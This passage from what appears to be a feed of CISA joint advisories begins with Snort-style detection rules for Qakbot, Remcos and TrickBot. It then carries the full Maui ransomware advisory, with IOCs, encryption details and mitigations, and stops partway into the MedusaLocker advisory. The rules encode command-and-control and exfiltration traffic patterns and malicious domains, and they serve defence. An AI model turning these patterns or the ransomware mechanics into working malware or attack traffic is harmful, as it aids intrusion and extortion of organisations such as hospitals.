reference:url,www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf;) Qakbot alert tcp any any -> any 21 (msg:"Possible FTP data exfiltration"; sid:1; rev:1; flow:to_server,established; content:"STOR si_"; content:".cb"; within:50; reference:url,attack.mitre.org/techniques/T1020; reference:url,www.virustotal.com/en/file/3104ff71bf880bc40d096eca7d1ccc3f762ea6cc89743c6fef744fd76d441d1b/analysis/; metadata:service ftp-ctrlchan;) Qakbot alert tcp any any -> any any (msg:"Malicious executable download attempt"; sid:1; rev:1; flow:to_client,established; file_type:MSEXE; file_data; content:"|52 DB 91 CB FE 67 30 9A 8E 72 28 4F 1C A9 81 A1 AA BE AC 8D D9 AB E4 15 EF EA C6 73 89 9F CF 2E|"; fast_pattern:only; reference:url,virustotal.com/#/file/ad815edc045c779628db3a3397c559ca08f012216dfac4873f11044b2aa1537b/detection; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP POST URI contains 'odin/si.php?get&'"; sid:1; rev:1; flow:to_server,established; content:"/odin/si.php?get&"; fast_pattern:only; http_uri; content:"news_slist"; http_uri; content:"comp="; http_uri;  reference:url,www.virustotal.com/en/file/478132b5c80bd41b8c11e5ed591fdf05d52e316d40f7c4abf4bfd25db2463dff/analysis/1464186685/; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP URI contains '/random750x750.jpg?x='"; sid:1; rev:1; flow:to_server,established; content:"/random750x750.jpg?x="; fast_pattern:only; http_uri; content:"&y="; http_uri; content:"Accept|3a 20|application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*|0d 0a|"; http_header; content:"Cache-Control|3a 20|no-cache|0d 0a|"; http_header; content:!"Accept-"; http_header; content:!"Referer"; http_header;  reference:url,www.virustotal.com/en/file/1826dba769dad9898acd95d6bd026a0b55d0a093a267b481695494f3ab547088/analysis/1461598351/; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP URI contains '/datacollectionservice.php3'"; sid:1; rev:1; flow:to_server,established; content:"/datacollectionservice.php3"; fast_pattern:only; http_uri; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP header contains 'Accept|3a 20|application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*|0d 0a|'"; sid:1; rev:1; flow:to_server,established; urilen:30<>35,norm; content:"btst="; http_header; content:"snkz="; http_header; content:"Accept|3a 20|application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*|0d 0a|"; fast_pattern:only; http_header; content:"Cache-Control|3a 20|no-cache|0d 0a|"; http_header; content:!"Connection"; http_header; content:!"Referer"; http_header;  reference:url,www.virustotal.com/en/file/1826dba769dad9898acd95d6bd026a0b55d0a093a267b481695494f3ab547088/analysis/1461598351/; metadata:service http;) Qakbot alert tcp any any -> any 21 (msg:"Possible ps_dump FTP exfil"; sid:1; rev:1; flow:to_server,established; content:"ps_dump"; fast_pattern:only; pcre:"/ps_dump_[^_]+_[a-z]{5}\d{4}\x2Ekcb/smi";  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service ftp;) Qakbot alert tcp any any -> any 21 (msg:"Possible seclog FTP exfil"; sid:1; rev:1; flow:to_server,established; content:"seclog"; fast_pattern:only; pcre:"/seclog_[a-z]{5}\d{4}_\d{10}\x2Ekcb/smi";  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service ftp;) Qakbot alert tcp any any -> any any (msg:"HTTP URI contains '/cgi-bin/jl/jloader.pl'"; sid:1; rev:1; flow:to_server,established; content:"/cgi-bin/jl/jloader.pl"; fast_pattern:only; http_uri;  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP URI contains '/cgi-bin/clientinfo3.pl'"; sid:1; rev:1; flow:to_server,established; content:"/cgi-bin/clientinfo3.pl"; fast_pattern:only; http_uri;  reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP URI contains '/u/updates.cb'"; sid:1; rev:1; flow:to_server,established; content:"/u/updates.cb"; fast_pattern:only; http_uri; pcre:"/^Host\x3A[^\r\n]+((up\d+)|(adserv))/Hmi"; reference:url,www.threatexpert.com/report.aspx?md5=8171d3223f89a495f98c4e3a65537b8f; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP response content contains '|47 65 74 46 69 6C 65 46 72 6F 6D 52 65 73 6F 75 72 63 65 73 28 29 3A 20 4C 6F 61 64 52 65 73 6F 75 72 63 65 28 29 20 66 61 69 6C 65 64|'"; sid:1; rev:1; flow:to_client,established; file_data; content:"|47 65 74 46 69 6C 65 46 72 6F 6D 52 65 73 6F 75 72 63 65 73 28 29 3A 20 4C 6F 61 64 52 65 73 6F 75 72 63 65 28 29 20 66 61 69 6C 65 64|"; fast_pattern:only; content:"|47 65 74 46 69 6C 65 46 72 6F 6D 52 65 73 6F 75 72 63 65 73 28 29 3A 20 43 72 65 61 74 65 46 69 6C 65 28 29 20 66 61 69 6C 65 64|"; content:"|52 75 6E 45 78 65 46 72 6F 6D 52 65 73 28 29 20 73 74 61 72 74 65 64|"; content:"|73 7A 46 69 6C 65 50 61 74 68 3D|"; content:"|5C 25 75 2E 65 78 65|"; reference:url,www.virustotal.com/en/file/23e72e8b5e7856e811a326d1841bd2ac27ac02fa909d0a951b0b8c9d1d6aa61c/analysis; metadata:service ftp-data,service http;) Qakbot alert tcp any any -> any any (msg:"HTTP POST URI contains 'v=3&c='"; sid:1; rev:1; flow:to_server,established; content:"/t"; http_uri; content:"POST"; http_method; content:"v=3&c="; depth:6; http_client_body; content:"=="; within:2; distance:66; http_client_body;  reference:url,www.virustotal.com/en/file/3104ff71bf880bc40d096eca7d1ccc3f762ea6cc89743c6fef744fd76d441d1b/analysis/; metadata:service http;) Qakbot alert tcp any any -> any any (msg:"HTTP URI GET contains '/<alpha>/595265.jpg'"; sid:1; rev:1; flow:established,to_server; content:"/595265.jpg"; http_uri; fast_pattern:only; content:"GET"; nocase; http_method; pcre:"/^\/[a-z]{5,15}\/595265\.jpg$/U";  reference:url,www.virustotal.com/gui/file/3104ff71bf880bc40d096eca7d1ccc3f762ea6cc89743c6fef744fd76d441d1b/detection; metadata:service http;) Remcos alert tcp any any -> any any (msg:"Non-Std TCP Client Traffic contains '|1b 84 d5 b0 5d f4 c4 93 c5 30 c2|' (Checkin #23)"; sid:1; rev:1; flow:established,to_server; dsize:<700; content:"|1b 84 d5 b0 5d f4 c4 93 c5 30 c2|"; depth:11; fast_pattern; content:"|da b1|"; distance:2; within:2;  reference:url,blog.trendmicro.com/trendlabs-security-intelligence/analysis-new-remcos-rat-arrives-via-phishing-email/; reference:url,isc.sans.edu/forums/diary/Malspam+using+passwordprotected+Word+docs+to+push+Remcos+RAT/25292/; reference:url,www.malware-traffic-analysis.net/2019/09/03/index.html; reference:url,www.malware-traffic-analysis.net/2017/10/27/index.html;) TrickBot alert tcp any any -> any any (msg:"HTTP Client Header contains 'host|3a 20|tpsci.com'"; sid:1; rev:1; flow:established,to_server; content:"host|3a 20|tpsci.com"; http_header; fast_pattern:only; metadata:service http;) TrickBot alert tcp any any -> any any (msg:"HTTP Client Header contains 'User-Agent|3a 20|*Loader'"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|"; http_header; content:"Loader|0d 0a|"; nocase; http_header; distance:0; within:24; fast_pattern; metadata:service http;) TrickBot alert udp any any <> any 53 (msg:"DNS Query/Response onixcellent com (UDP)"; sid:1; rev:1; content:"|0B|onixcellent|03|com|00|"; fast_pattern:only; reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30; priority:1; metadata:service dns;) TrickBot alert tcp any any -> any any (msg:"SSL/TLS Server X.509 Cert Field contains 'C=XX, L=Default City, O=Default Company Ltd'"; sid:1; rev:2; flow:established,from_server; ssl_state:server_hello; content:"|31 0b 30 09 06 03 55 04 06 13 02|XX"; nocase; content:"|31 15 30 13 06 03 55 04 07 13 0c|Default City"; nocase; content:"|31 1c 30 1a 06 03 55 04 0a 13 13|Default Company Ltd"; nocase; content:!"|31 0c 30 0a 06 03 55 04 03|";  reference:url,www.virustotal.com/gui/file/e9600404ecc42cf86d38deedef94068db39b7a0fd06b3b8fb2d8a3c7002b650e/detection; metadata:service ssl;) TrickBot alert tcp any any -> any any (msg:"SSL/TLS Server X.509 Cert Field contains 'C=AU, ST=Some-State, O=Internet Widgits Pty Ltd'"; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content:"|31 0b 30 09 06 03 55 04 06 13 02|AU"; content:"|31 13 30 11 06 03 55 04 08 13 0a|Some-State"; distance:0; content:"|31 21 30 1f 06 03 55 04 0a 13 18|Internet Widgits Pty Ltd"; distance:0; fast_pattern; content:"|06 03 55 1d 13 01 01 ff 04 05 30 03 01 01 ff|";  reference:url,www.virustotal.com/gui/file/e9600404ecc42cf86d38deedef94068db39b7a0fd06b3b8fb2d8a3c7002b650e/detection; metadata:service ssl;) TrickBot alert tcp any any -> any any (msg:"HTTP Client Header contains 'boundary=Arasfjasu7'"; sid:1; rev:1; flow:established,to_server; content:"boundary=Arasfjasu7|0d 0a|"; http_header; content:"name=|22|proclist|22|"; http_header; content:!"Referer"; content:!"Accept"; content:"POST"; http_method; metadata:service http;) TrickBot alert tcp any any -> any any (msg:"HTTP Client Header contains 'User-Agent|3a 20|WinHTTP loader/1.'"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|WinHTTP loader/1."; http_header; fast_pattern:only; content:".png|20|HTTP/1."; pcre:"/^Host\x3a\x20(?:\d{1,3}\.){3}\d{1,3}(?:\x3a\d{2,5})?$/mH"; content:!"Accept"; http_header; content:!"Referer|3a 20|"; http_header; metadata:service http;) TrickBot alert tcp any any -> any any (msg:"HTTP Server Header contains 'Server|3a 20|Cowboy'"; sid:1; rev:1; flow:established,from_server; content:"200"; http_stat_code; content:"Server|3a 20|Cowboy|0d 0a|"; http_header; fast_pattern; content:"content-length|3a 20|3|0d 0a|"; http_header; file_data; content:"/1/"; depth:3; isdataat:!1,relative; metadata:service http;) TrickBot alert tcp any any -> any any (msg:"HTTP URI POST contains C2 Exfil"; sid:1; rev:1; flow:established,to_server; content:"Content-Type|3a 20|multipart/form-data|3b 20|boundary=------Boundary"; http_header; fast_pattern; content:"User-Agent|3a 20|"; http_header; distance:0; content:"Content-Length|3a 20|"; http_header; distance:0; content:"POST"; http_method; pcre:"/^\/[a-z]{3}\d{3}\/.+?\.[A-F0-9]{32}\/\d{1,3}\//U"; pcre:"/^Host\x3a\x20(?:\d{1,3}\.){3}\d{1,3}$/mH"; content:!"Referer|3a|"; http_header; metadata:service http;) TrickBot alert tcp any any -> any any (msg:"HTTP URI GET/POST contains '/56evcxv'"; sid:1; rev:1; flow:established,to_server; content:"/56evcxv"; http_uri; fast_pattern:only;  metadata:service http;) TrickBot alert icmp any any -> any any (msg:"ICMP traffic conatins 'hanc'"; sid:1; rev:1; itype:8; icode:0; dsize:22; content:"hanc"; depth:4; fast_pattern; pcre:"/hanc[0-9a-f]{16}../i";  reference:url,labs.sentinelone.com/anchor-project-for-trickbot-adds-icmp/;) TrickBot alert tcp any any -> any any (msg:"HTTP Client Header contains POST with 'host|3a 20|*.onion.link' and 'data='"; sid:1; rev:1; flow:established,to_server; content:"POST"; nocase; http_method; content:"host|3a 20|"; http_header; content:".onion.link"; nocase; http_header; distance:0; within:47; fast_pattern; file_data; content:"data="; distance:0; within:5; metadata:service http;) TrickBot alert tcp any 80 -> any any (msg:"Non-Std TCP Client Traffic contains PowerView Script Download String"; sid:1; rev:1; flow:established,from_server; content:"PowerView.ps1"; content:"PSReflect/master/PSReflect.psm1"; fast_pattern:only; content:"function New-InMemoryModule"; metadata:service else-ports;) TrickBot alert tcp any any -> any 445 (msg:"Non-Std TCP Client SMB Traffic contains '44783m8uh77g818_nkubyhu5vfxxbh878xo6hlttkppzf28tsdu5kwppk_11c1jl'"; sid:1; rev:1; flow:established,to_server; content:"44783m8uh77g818_nkubyhu5vfxxbh878xo6hlttkppzf28tsdu5kwppk_11c1jl"; fast_pattern:only; metadata:service netbios-ssn,service and-ports;) TrickBot alert tcp any any -> any [80,443,8082] (msg:"Non-Std TCP Client Traffic contains '--aksgja8s8d8a8s97'"; sid:1; rev:1; flow:established,to_server; content:"--aksgja8s8d8a8s97"; fast_pattern:only; content:"name=|22|proclist|22|";  metadata:service else-ports;) TrickBot alert tcp any any -> any any (msg:"HTTP Client Header contains 'User-Agent|3a 20|WinHTTP loader/1.0'"; sid:1; rev:1; flow:established,to_server; content:"User-Agent|3a 20|WinHTTP loader/1.0|0d 0a|"; http_header; fast_pattern:only; pcre:"/\/t(?:oler|able)\.png/U"; metadata:service http;) TrickBot alert tcp any any -> any [443,8082] (msg:"Non-Std TCP Client Traffic contains '_W<digits>.'"; sid:1; rev:1; flow:established,to_server; content:"_W"; fast_pattern:only; pcre:"/_W\d{6,8}\./"; metadata:service else-ports;) TrickBot alert tcp any [443,447] -> any any (msg:"SSL/TLS Server X.509 Cert Field contains 'example.com' (Hex)"; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content:"|0b|example.com"; fast_pattern:only; content:"Global Security"; content:"IT Department"; pcre:"/(?:\x09\x00\xc0\xb9\x3b\x93\x72\xa3\xf6\xd2|\x00\xe2\x08\xff\xfb\x7b\x53\x76\x3d)/";  metadata:service ssl,service and-ports;) TrickBot alert tcp any any -> any any+F57 (msg:"HTTP URI GET contains '/anchor'"; sid:1; rev:1; flow:established,to_server; content:"/anchor"; http_uri; fast_pattern:only; content:"GET"; nocase; http_method; pcre:"/^\/anchor_?.{3}\/[\w_-]+\.[A-F0-9]+\/?$/U"; metadata:service http;) TrickBot alert udp any any <> any 53 (msg:"DNS Query/Response kostunivo com (UDP)"; sid:1; rev:1; content:"|09|kostunivo|03|com|00|"; fast_pattern:only;  reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30;  metadata:service dns;) TrickBot alert udp any any <> any 53 (msg:"DNS Query/Response chishir com (UDP)"; sid:1; rev:1; content:"|07|chishir|03|com|00|"; fast_pattern:only; reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30; metadata:service dns;) TrickBot alert udp any any <> any 53 (msg:"DNS Query/Response mangoclone com (UDP)"; sid:1; rev:1; content:"|0A|mangoclone|03|com|00|"; fast_pattern:only; reference:url,medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30; metadata:service dns;) GootLoader No signature available. References [1] Malware Tip Card [2] Malware Trends [3] Agent Telsa [4] Agent Tesla Trojan ‘Kneecaps’ Microsoft’s Anti-Malware Interface [6] AZORULT Malware Information [7] HHS AZORult Malware [8] Significant FormBook Distribution Campaigns Impacting the U.S. and South Korea [9] FormBook Adds Latest Office 365 0-Day Vulnerability (CVE-2021-40444) to Its Arsenal [10] Ursnif Trojan has targeted over 100 Italian banks [11] New Variant of Ursnif Continuously Targeting Italy [12] URSNIF [13] LokiBot trojan malware campaign comes disguised as a popular game launcher [14] CISA and MS-ISAC LokiBot Malware [15] So Unchill: Melting UNC2198 ICEDID to Ransomware Operations [16] Nanocore, Netwire, and AsyncRAT spreading campaign uses public cloud infrastructure [18] U.S. Department of Justice: Arkansas Man Sentenced to Prison for Developing and Distributing Prolific Malware [19] A closer look at Qakbot’s latest building blocks (and how to knock them down) [20] The rise of QakBot [21] Remcos Malware Information [22] The Latest Remcos RAT Driven By Phishing Campaign [23] HHS The Evolution of Ryuk [24] CISA Fact Sheet: TrickBot Malware [25] Joint CSA Conti Ransomware [26] Joint CSA Ransomware Activity Targeting the Healthcare and Public Health Sector [27] New Jersey’s Cybersecurity & Communications Integration Cell (NJCCIC) page on GootLooader Revisions August 4, 2022: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-187A: North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector
    by CISA on 6 Luglio 2022 at 2:00 pm

    Original release date: July 6, 2022 | Last revised: July 7, 2022SummaryThe Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Department of the Treasury (Treasury) are releasing this joint Cybersecurity Advisory (CSA) to provide information on Maui ransomware, which has been used by North Korean state-sponsored cyber actors since at least May 2021 to target Healthcare and Public Health (HPH) Sector organizations. This joint CSA provides information—including tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs)—on Maui ransomware obtained from FBI incident response activities and industry analysis of a Maui sample. The FBI, CISA, and Treasury urge HPH Sector organizations as well as other critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA to reduce the likelihood of compromise from ransomware operations. Victims of Maui ransomware should report the incident to their local FBI field office or CISA.  The FBI, CISA, and Treasury highly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. Note: in September 2021, Treasury issued an updated advisory highlighting the sanctions risks associated with ransomware payments and the proactive steps companies can take to mitigate such risks. Specifically, the updated advisory encourages U.S. entities to adopt and improve cybersecurity practices and report ransomware attacks to, and fully cooperate with, law enforcement. The updated advisory states that when affected parties take these proactive steps, Treasury’s Office of Foreign Assets Control (OFAC) would be more likely to resolve apparent sanctions violations involving ransomware attacks with a non-public enforcement response. For more information on state-sponsored North Korean malicious cyber activity, see CISA’s North Korea Cyber Threat Overview and Advisories webpage.  Download the PDF version of this report: pdf, 553 kb. Click here for STIX. Technical DetailsSince May 2021, the FBI has observed and responded to multiple Maui ransomware incidents at HPH Sector organizations. North Korean state-sponsored cyber actors used Maui ransomware in these incidents to encrypt servers responsible for healthcare services—including electronic health records services, diagnostics services, imaging services, and intranet services. In some cases, these incidents disrupted the services provided by the targeted HPH Sector organizations for prolonged periods. The initial access vector(s) for these incidents is unknown. Maui Ransomware Maui ransomware (maui.exe) is an encryption binary. According to industry analysis of a sample of Maui (SHA256: 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e) provided in Stairwell Threat Report: Maui Ransomware—the ransomware appears to be designed for manual execution [TA0002] by a remote actor. The remote actor uses command-line interface [T1059.008] to interact with the malware and to identify files to encrypt.  Maui uses a combination of Advanced Encryption Standard (AES), RSA, and XOR encryption to encrypt [T1486] target files: Maui encrypts target files with AES 128-bit encryption. Each encrypted file has a unique AES key, and each file contains a custom header with the file’s original path, allowing Maui to identify previously encrypted files. The header also contains encrypted copies of the AES key. Maui encrypts each AES key with RSA encryption. Maui loads the RSA public (maui.key) and private (maui.evd) keys in the same directory as itself.  Maui encodes the RSA public key (maui.key) using XOR encryption. The XOR key is generated from hard drive information (\\.\PhysicalDrive0). During encryption, Maui creates a temporary file for each file it encrypts using GetTempFileNameW(). Maui uses the temporary to stage output from encryption. After encrypting files, Maui creates maui.log, which contains output from Maui execution. Actors likely exfiltrate [TA0010] maui.log and decrypt the file using associated decryption tools. See Stairwell Threat Report: Maui Ransomware for additional information on Maui ransomware, including YARA rules and a key extractor. Indicators of Compromise See table 1 for Maui ransomware IOCs obtained from FBI incident response activities since May 2021.    Table 1: Maui Ransomware IOCs Indicator Type Value Filename maui.exe maui.log maui.key maui.evd aui.exe MD5 Hash 4118d9adce7350c3eedeb056a3335346 9b0e7c460a80f740d455a7521f0eada1 fda3a19afa85912f6dc8452675245d6b 2d02f5499d35a8dffb4c8bc0b7fec5c2 c50b839f2fc3ce5a385b9ae1c05def3a a452a5f693036320b580d28ee55ae2a3 a6e1efd70a077be032f052bb75544358 802e7d6e80d7a60e17f9ffbd62fcbbeb SHA256 Hash 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e 45d8ac1ac692d6bb0fe776620371fca02b60cac8db23c4cc7ab5df262da42b78 56925a1f7d853d814f80e98a1c4890b0a6a84c83a8eded34c585c98b2df6ab19 830207029d83fd46a4a89cd623103ba2321b866428aa04360376e6a390063570 458d258005f39d72ce47c111a7d17e8c52fe5fc7dd98575771640d9009385456 99b0056b7cc2e305d4ccb0ac0a8a270d3fceb21ef6fc2eb13521a930cea8bd9f 3b9fe1713f638f85f20ea56fd09d20a96cd6d288732b04b073248b56cdaef878 87bdb1de1dd6b0b75879d8b8aef80b562ec4fad365d7abbc629bcfc1d386afa6   Attribution to North Korean State-Sponsored Cyber Actors The FBI assesses North Korean state-sponsored cyber actors have deployed Maui ransomware against Healthcare and Public Health Sector organizations. The North Korean state-sponsored cyber actors likely assume healthcare organizations are willing to pay ransoms because these organizations provide services that are critical to human life and health. Because of this assumption, the FBI, CISA, and Treasury assess North Korean state-sponsored actors are likely to continue targeting HPH Sector organizations.  MitigationsThe FBI, CISA, and Treasury urge HPH Sector organizations to: Limit access to data by deploying public key infrastructure and digital certificates to authenticate connections with the network, Internet of Things (IoT) medical devices, and the electronic health record system, as well as to ensure data packages are not manipulated while in transit from man-in-the-middle attacks.  Use standard user accounts on internal systems instead of administrative accounts, which allow for overarching administrative system privileges and do not ensure least privilege.   Turn off network device management interfaces such as Telnet, SSH, Winbox, and HTTP for wide area networks (WANs) and secure with strong passwords and encryption when enabled.  Secure personal identifiable information (PII)/patient health information (PHI) at collection points and encrypt the data at rest and in transit by using technologies such as Transport Layer Security (TPS). Only store personal patient data on internal systems that are protected by firewalls, and ensure extensive backups are available if data is ever compromised.  Protect stored data by masking the permanent account number (PAN) when it is displayed and rendering it unreadable when it is stored—through cryptography, for example.  Secure the collection, storage, and processing practices for PII and PHI, per regulations such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). Implementing HIPAA security measures can prevent the introduction of malware on the system.  Implement and enforce multi-layer network segmentation with the most critical communications and data resting on the most secure and reliable layer.  Use monitoring tools to observe whether IoT devices are behaving erratically due to a compromise.  Create and regularly review internal policies that regulate the collection, storage, access, and monitoring of PII/PHI. In addition, the FBI, CISA, and Treasury urge all organizations, including HPH Sector organizations, to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents. Preparing for Ransomware Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware incident and protect against data losses. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure.  Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response procedures for a ransomware incident. Organizations should also ensure their incident response and communications plans include response and notification procedures for data breach incidents. Ensure the notification procedures adhere to applicable state laws.  Refer to the National Conference of State Legislatures: Security Breach Notification Laws for information on each state’s data breach laws.  For breaches involving electronic health information, you may need to notify the Federal Trade Commission (FTC) or the Department of Health and Human Services, and, in some cases, the media. Refer to the FTC’s Health Breach Notification Rule and U.S. Department of Health and Human Services’ Breach Notification Rule for more information. See CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and CISA Fact Sheet Protecting Sensitive and Personal Information from Ransomware-Caused Data Breaches for information on creating a ransomware response checklist and planning and responding to ransomware-caused data breaches. Mitigating and Preventing Ransomware Install updates for operating systems, software, and firmware as soon as they are released. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Regularly check for software updates and end-of-life notifications and prioritize patching known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process. If you use Remote Desktop Protocol (RDP), or other potentially risky services, secure and monitor them closely. Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require multifactor authentication (MFA) to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389).  Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established. Open document readers in protected viewing modes to help prevent active content from running. Implement user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails.  Require MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups.  Use strong passwords and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information. Require administrator credentials to install software. Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind. Install and regularly update antivirus and antimalware software on all hosts. Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN. Consider adding an email banner to messages coming from outside your organizations. Disable hyperlinks in received emails. Responding to Ransomware Incidents If a ransomware incident occurs at your organization: Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section).  Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. Follow the notification requirements as outlined in your cyber incident response plan.  Report incidents to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office.  Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. Note: the FBI, CISA, and Treasury strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.  Request for Information The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, bitcoin wallet information, the decryptor file, and/or benign samples of encrypted files. As stated above, the FBI discourages paying ransoms. Payment does not guarantee files will be recovered and may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. However, the FBI understands that when victims are faced with an inability to function, all options are evaluated to protect shareholders, employees, and customers. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and Treasury urge you to promptly report ransomware incidents to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the USSS at a USSS Field Office. Doing so provides the U.S. Government with critical information needed to prevent future attacks by identifying and tracking ransomware actors and holding them accountable under U.S. law. Resources  For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, U.S. whole-of-government webpage providing ransomware resources and alerts. CISA’s Ransomware Readiness Assessment is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident. A guide that helps organizations mitigate a ransomware attack and provides a Ransomware Response Checklists: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.  Acknowledgements The FBI, CISA, and Treasury would like to thank Stairwell for their contributions to this CSA.  Contact InformationTo report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov.  Revisions July 6, 2022: Initial Version July 7, 2022: Added STIX This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-181A: #StopRansomware: MedusaLocker
    by CISA on 30 Giugno 2022 at 5:00 pm

    Original release date: June 30, 2022 | Last revised: August 11, 2022SummaryActions to take today to mitigate cyber threats from ransomware: • Prioritize remediating known exploited vulnerabilities. • Train users to recognize and report phishing attempts. • Enable and enforce multifactor authentication. Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury, and the Financial Crimes Enforcement Network (FinCEN) are releasing this CSA to provide information on MedusaLocker ransomware. Observed as recently as May 2022, MedusaLocker actors predominantly rely on vulnerabilities in Remote Desktop Protocol (RDP) to access victims’ networks. The MedusaLocker actors encrypt the victim's data and leave a ransom note with communication instructions in every folder containing an encrypted file. The note directs victims to provide ransomware payments to a specific Bitcoin wallet address. MedusaLocker appears to operate as a Ransomware-as-a-Service (RaaS) model based on the observed split of ransom payments. Typical RaaS models involve the ransomware developer and various affiliates that deploy the ransomware on victim systems. MedusaLocker ransomware payments appear to be consistently split between the affiliate, who receives 55 to 60 percent of the ransom; and the developer, who receives the remainder.  Download the PDF version of this report: pdf, 633 kb Technical DetailsMedusaLocker ransomware actors most often gain access to victim devices through vulnerable Remote Desktop Protocol (RDP) configurations [T1133]. Actors also frequently use email phishing and spam email campaigns—directly attaching the ransomware to the email—as initial intrusion vectors [T1566]. MedusaLocker ransomware uses a batch file to execute PowerShell script invoke-ReflectivePEInjection [T1059.001]. This script propagates MedusaLocker throughout the network by editing the EnableLinkedConnections value within the infected machine’s registry, which then allows the infected machine to detect attached hosts and networks via 